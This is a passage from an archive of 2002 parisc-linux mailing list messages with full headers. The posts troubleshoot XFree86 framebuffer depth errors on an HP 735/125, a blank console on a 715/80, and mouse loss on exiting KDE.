(=3D=3D) RgbPath set to "/usr/X11R6/lib/X11/rgb"=0A=
(--) using VT number 7=0A=
=0A=
(WW) Cannot open APM=0A=
(EE) No OS PCI support available=0A=
(II) Addressable bus resource ranges are=0A=
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]=0A=
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]=0A=
(II) OS-reported resource ranges:=0A=
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]=0A=
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]=0A=
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]=0A=
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]=0A=
(II) OS-reported resource ranges after removing overlaps with PCI:=0A=
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]=0A=
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]=0A=
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]=0A=
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]=0A=
(II) All system resource ranges:=0A=
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]=0A=
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]=0A=
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]=0A=
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]=0A=
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,=0A=
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400=0A=
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,=0A=
	pm2, pm, 300sx, 500tx, mx, delta=0A=
	S3VIdentify=0A=
(II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, =
86C325,=0A=
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,=0A=
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,=0A=
	trio 3d/2x, 86C362, 86C368=0A=
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,=0A=
	SIS300, SIS630, SIS540=0A=
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,=0A=
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,=0A=
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,=0A=
	TwisterK=0A=
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, =
cyber9388,=0A=
	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,=0A=
	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,=0A=
	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,=0A=
	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,=0A=
	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm=0A=
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,=0A=
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,=0A=
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300=0A=
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,=0A=
	3dfx Voodoo3, 3dfx Voodoo5=0A=
(II) FBDev: driver for framebuffer: fbdev, afb=0A=
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati=0A=
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),=0A=
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),=0A=
	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),=0A=
	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),=0A=
	ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),=0A=
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),=0A=
	ATI Rage 128 Mobility ML (AGP)=0A=
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),=0A=
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),=0A=
	ATI Radeon VE (AGP)=0A=
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,=0A=
	imstt3d=0A=
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic=0A=
(II) v4l driver for Video4Linux=0A=
	S3VProbe begin=0A=
(II) FBDev(0): using default device=0A=
(II) Running in FRAMEBUFFER Mode=0A=
(=3D=3D) FBDev(0): Depth 24, (=3D=3D) framebuffer bpp 24=0A=
(=3D=3D) FBDev(0): RGB weight 888=0A=
(=3D=3D) FBDev(0): Default visual is TrueColor=0A=
(=3D=3D) FBDev(0): Using gamma correction (1.0, 1.0, 1.0)=0A=
(II) FBDev(0): Hardware:  (vidmem: 16384k)=0A=
(II) FBDev(0): Checking Modes against framebuffer device...=0A=
(II) FBDev(0): 	mode "1280x1024" ok=0A=
(II) FBDev(0): Checking Modes against monitor...=0A=
(--) FBDev(0): Virtual size is 1280x1024 (pitch 1280)=0A=
(**) FBDev(0): Default mode "1280x1024": 108.0 MHz (scaled from 0.0 =
MHz), 64.0 kHz, 60.0 Hz=0A=
(II) FBDev(0): Modeline "1280x1024"  108.00  1280 1328 1440 1688  1024 =
1025 1028 1066 +hsync +vsync=0A=
(++) FBDev(0): DPI set to (100, 100)=0A=
(**) FBDev(0): Using "Shadow Framebuffer"=0A=
(--) Depth 24 pixmap format is 24 bpp=0A=
(EE) FBDev(0): FBIOPUT_VSCREENINFO: Invalid argument=0A=
=0A=
Fatal server error:=0A=
AddScreen/ScreenInit failed for driver 0=0A=
=0A=
=0A=
When reporting a problem related to a server crash, please send=0A=
the full server output, not just the last messages.=0A=
This can be found in the log file "/var/log/XFree86.0.log".=0A=
Please report problems to submit@bugs.debian.org.=0A=
=0A=

------=_NextPart_000_03A8_01C26276.E71F5B10--



From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Sun, 22 Sep 2002 22:03:23 +0200
Organization: ESIEE
Lines: 19
Approved: news@gmane.org
Message-ID: <20020922220323.0113cbca.varenet@esiee.fr>
References: <03ab01c26266$2416dea0$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621752 14357 80.91.229.3 (22 Nov 2014 02:02:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	"Yves Bodack" <bodack@stud.fh-heilbronn.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 14:03:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d072.dhcp212-198-140.noos.fr [212.198.140.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id B14C44829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 14:03:29 -0600 (MDT)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.5) with SMTP id g8MK3Ngv007039;
	Sun, 22 Sep 2002 22:03:25 +0200
In-Reply-To: <03ab01c26266$2416dea0$1f96078d@acid>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16237

On Sun, 22 Sep 2002 20:30:34 +0200
"Yves Bodack" <bodack@stud.fh-heilbronn.de> wrote:

> Hi,
> 
> i have a 'new' 735/125 workstation, which I run Debian 3.0 on.
> hp735# uname -a
> Linux hp735 2.4.19-32 #1 Tue Aug 20 03:25:39 MDT 2002 parisc unknown unknown
> GNU/Linux
> > 
> 2nd problem is I can't start X. I'm using Helge Deller's XFConfig-4 from
> ftp.p-l.org and just changed Depth from 8 to 24 bpp.
I didn't try X on 735, but I bet it doesn't support 24bpp. ;)


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Sun, 22 Sep 2002 23:01:17 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <200209222301.17581.deller@gmx.de>
References: <03ab01c26266$2416dea0$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="windows-1252"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621752 14359 80.91.229.3 (22 Nov 2014 02:02:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:32 +0000 (UTC)
To: "Yves Bodack" <bodack@stud.fh-heilbronn.de>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 15:02:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 3D8304829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 15:02:32 -0600 (MDT)
Original-Received: (qmail 19279 invoked by uid 0); 22 Sep 2002 21:02:25 -0000
Original-Received: from pd9040625.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.6.37)
  by mail.gmx.net (mp003-rz3) with SMTP; 22 Sep 2002 21:02:25 -0000
User-Agent: KMail/1.4.7
In-Reply-To: <03ab01c26266$2416dea0$1f96078d@acid>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16238

Hi Yves,

On Sunday 22 September 2002 20:30, Yves Bodack wrote:
> 2nd problem is I can't start X. I'm using Helge Deller's XFConfig-4 from
> ftp.p-l.org and just changed Depth from 8 to 24 bpp.
>
> (EE) FBDev(0): FBIOPUT_VSCREENINFO: Invalid argument

and your dmesg says:

STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f8000000, hpa at f8000000
STI id 26d148ee-40a00499, conforms to spec rev. 8.02
STI device: HPA1439A
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, id: 26d148ee, mmio: 0xf8100000

So you should use 8bpp, and might try 32bpp.

Greetings,
Helge


From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Sun, 22 Sep 2002 23:11:22 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <03bf01c2627c$9a5147c0$1f96078d@acid>
References: <03ab01c26266$2416dea0$1f96078d@acid> <20020922220323.0113cbca.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621752 14361 80.91.229.3 (22 Nov 2014 02:02:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:32 +0000 (UTC)
To: "Thibaut VARENE" <varenet@esiee.fr>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 15:11:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87B544829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 15:11:01 -0600 (MDT)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id g8MLAth7011271;
	Sun, 22 Sep 2002 23:10:56 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id g8MLAtkc027917;
	Sun, 22 Sep 2002 23:10:55 +0200 (MEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16239

----- Original Message -----
From: "Thibaut VARENE" <varenet@esiee.fr>
Subject: Re: [parisc-linux] RTC and FB on 735/125


> > i have a 'new' 735/125 workstation, which I run Debian 3.0 on.
> > hp735# uname -a
> > Linux hp735 2.4.19-32 #1 Tue Aug 20 03:25:39 MDT 2002 parisc unknown
unknown
> > GNU/Linux
> > >
> > 2nd problem is I can't start X. I'm using Helge Deller's XFConfig-4 from
> > ftp.p-l.org and just changed Depth from 8 to 24 bpp.
> I didn't try X on 735, but I bet it doesn't support 24bpp. ;)

I bet it does ;)

dmesg says:

Found devices:
1. Coral SGC Graphics (10) at 0xf8000000 [1], versions 0x4, 0x0, 0x77
[...]
fb0: stifb 1280x1024-32 frame buffer device, id: 26d148ee, mmio: 0xf8100000


XFree86.0.log with 24 bpp says:

(II) FBDev(0): using default device
(II) Running in FRAMEBUFFER Mode
(==) FBDev(0): Depth 24, (==) framebuffer bpp 24
(==) FBDev(0): RGB weight 888
(==) FBDev(0): Default visual is TrueColor
(==) FBDev(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDev(0): Hardware:  (vidmem: 16384k)
(II) FBDev(0): Checking Modes against framebuffer device...
(II) FBDev(0):  mode "1280x1024" ok
(II) FBDev(0): Checking Modes against monitor...
(--) FBDev(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDev(0): Default mode "1280x1024": 108.0 MHz (scaled from 0.0 MHz),
64.0 kHz, 60.0 Hz
(II) FBDev(0): Modeline "1280x1024"  108.00  1280 1328 1440 1688  1024 1025
1028 1066 +hsync +vsync
(++) FBDev(0): DPI set to (100, 100)
(**) FBDev(0): Using "Shadow Framebuffer"
(--) Depth 24 pixmap format is 24 bpp
(EE) FBDev(0): FBIOPUT_VSCREENINFO: Invalid argument
Fatal server error:
AddScreen/ScreenInit failed for driver 0


and with 8 bpp it says:

(EE) FBDev(0): No Display subsection in Screen section "Default Screen" for
depth/fbbpp 24/24
(EE) Screen(s) found, but none have a usable configuration.
Fatal server error:
no screens found


greetings,

yves...



From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Weerts <chw@ffis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with 715/80
Date: Sun, 22 Sep 2002 23:16:30 +0200
Organization: private
Lines: 24
Approved: news@gmane.org
Message-ID: <20020922211630.GB1936@familie-weerts.de>
Reply-To: Christian Weerts <chw@ffis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621753 14472 80.91.229.3 (22 Nov 2014 02:02:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:33 +0000 (UTC)
To: PaRisc-List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 15:17:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail0.ewetel.de (mail0.ewetel.de [212.6.122.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id B868C4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 15:17:22 -0600 (MDT)
Original-Received: from murphy.familie-weerts.de (dialin-86213.ewetel.net [212.6.86.213])
	by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id g8MLH8ol012796
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 23:17:09 +0200 (MEST)
Original-Received: from cw by murphy.familie-weerts.de with local (Exim 3.35 #1 (Debian))
	id 17tE5e-0000dr-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 23:16:30 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Url: <http://www.familie-weerts.de/>
X-Editor: Vim-601 http://www.vim.org
X-CheckCompat: OK
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16240

Hello everybody,

I've got an 715/80 here and have problems to get a console.

I've switched a Nullmodem Cable to my Laptop and configured
minicom as discribed in the Boot-HOWTO - no sign of life.

Then I attached my Monitor to the machine and noticed that I
got a signal to the (SVGA) Monitor but no message appeared -
nothing than a blank screen in 1024x768 resolution as my
Monitor told me on his little Display.

At this point I pressed serveral times the ESCAPE-Button or
the TAB-Key (as mentioned in the HOWTO) at boottime, but no
reaction.

What else can I do?

Greets,
    Christian

-- 
May the Source be with you...


From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Sun, 22 Sep 2002 23:37:51 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <03ed01c26280$4dfb5c90$1f96078d@acid>
References: <03ab01c26266$2416dea0$1f96078d@acid> <20020922220323.0113cbca.varenet@esiee.fr> <03bf01c2627c$9a5147c0$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621753 14621 80.91.229.3 (22 Nov 2014 02:02:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:33 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 15:37:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3EB44829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 15:37:28 -0600 (MDT)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id g8MLbPh7011377
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 23:37:26 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id g8MLbOkc028276
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 23:37:25 +0200 (MEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16241

replying to myself ...

> and with 8 bpp it says:
>
> (EE) FBDev(0): No Display subsection in Screen section "Default Screen"
for
> depth/fbbpp 24/24
> (EE) Screen(s) found, but none have a usable configuration.
> Fatal server error:
> no screens found

same with 16 or 32 bpp :(

greetings,

yves...





From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
Date: Sun, 22 Sep 2002 16:45:47 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <3D8E3A0B.5090008@earthlink.net>
References: <20020921220317.3256.qmail@web12502.mail.yahoo.com> <3D8D0454.40706@earthlink.net> <3D8DCD8D.8070300@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621753 14623 80.91.229.3 (22 Nov 2014 02:02:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:33 +0000 (UTC)
Cc: Derek Engelhaupt <derekengelhaupt@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 15:43:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62])
	by dsl2.external.hp.com (Postfix) with ESMTP id 674C64829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 15:43:22 -0600 (MDT)
Original-Received: from user-33qtcuf.dialup.mindspring.com ([199.174.179.207] helo=cactus.bheadley.org)
	by snipe.mail.pas.earthlink.net with esmtp (Exim 3.33 #1)
	id 17tEVW-0003qb-00; Sun, 22 Sep 2002 14:43:14 -0700
Original-Received: from localhost.localdomain ([127.0.0.1] helo=earthlink.net)
	by cactus.bheadley.org with esmtp (Exim 3.36 #1 (Debian))
	id 17tEXz-0006Ch-00; Sun, 22 Sep 2002 16:45:47 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2a) Gecko/20020910
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16242

Joel Soete wrote:

>> I assume you are running the gpm mouse daemon as well. If you tell X 
>> to use the gpm mouse (/dev/gpmdata), you should be okay.
> 
> 
> Hmm, long time ago I test this (because that was like this I configure 
> my i386 boxe) but it did not work. Does it work now on parisc?

Last time I checked, it did. Debconf and I have a difference of opinion 
about it's overwriting XF86Config-4 after I hand-edit it. So and X 
upgrade arrives, and the config file gets overwritten. :-)

>>
> with kde ?

No, I've seen it with Gnome also, on: alpha, ppc, sparc, and i386.

> 
> Because with the same software config (gdm + xfce + xfree86-4.1) the 
> same problem occurs on my parisc (b180) and not on my i386 (on which I 
> also use /dev/psaux as mouse device)?
> 

But, IS gpm running? Both it and the X server are trying to grab events 
from /dev/psaux...

> (sorry (I would be of better help) I never have time to investigate in 
> more details this problem. And I do not remember exactly if it was 
> always there or if it appears with a new release of xfree86 or with a 
> new kernel release? Is some one can refresh my memory?)

Seen it on X 4.0, 4.1 and 4.2. So I'd say it's not kernel-related.

-- 
____               .:.                 ____
Bryan W. Headley - bwheadley@earthlink.net



From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Sun, 22 Sep 2002 18:05:41 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <02092218054100.14750@localhost.localdomain>
References: <03ab01c26266$2416dea0$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="CP 1252"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621753 14625 80.91.229.3 (22 Nov 2014 02:02:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:33 +0000 (UTC)
To: "Yves Bodack" <bodack@stud.fh-heilbronn.de>,
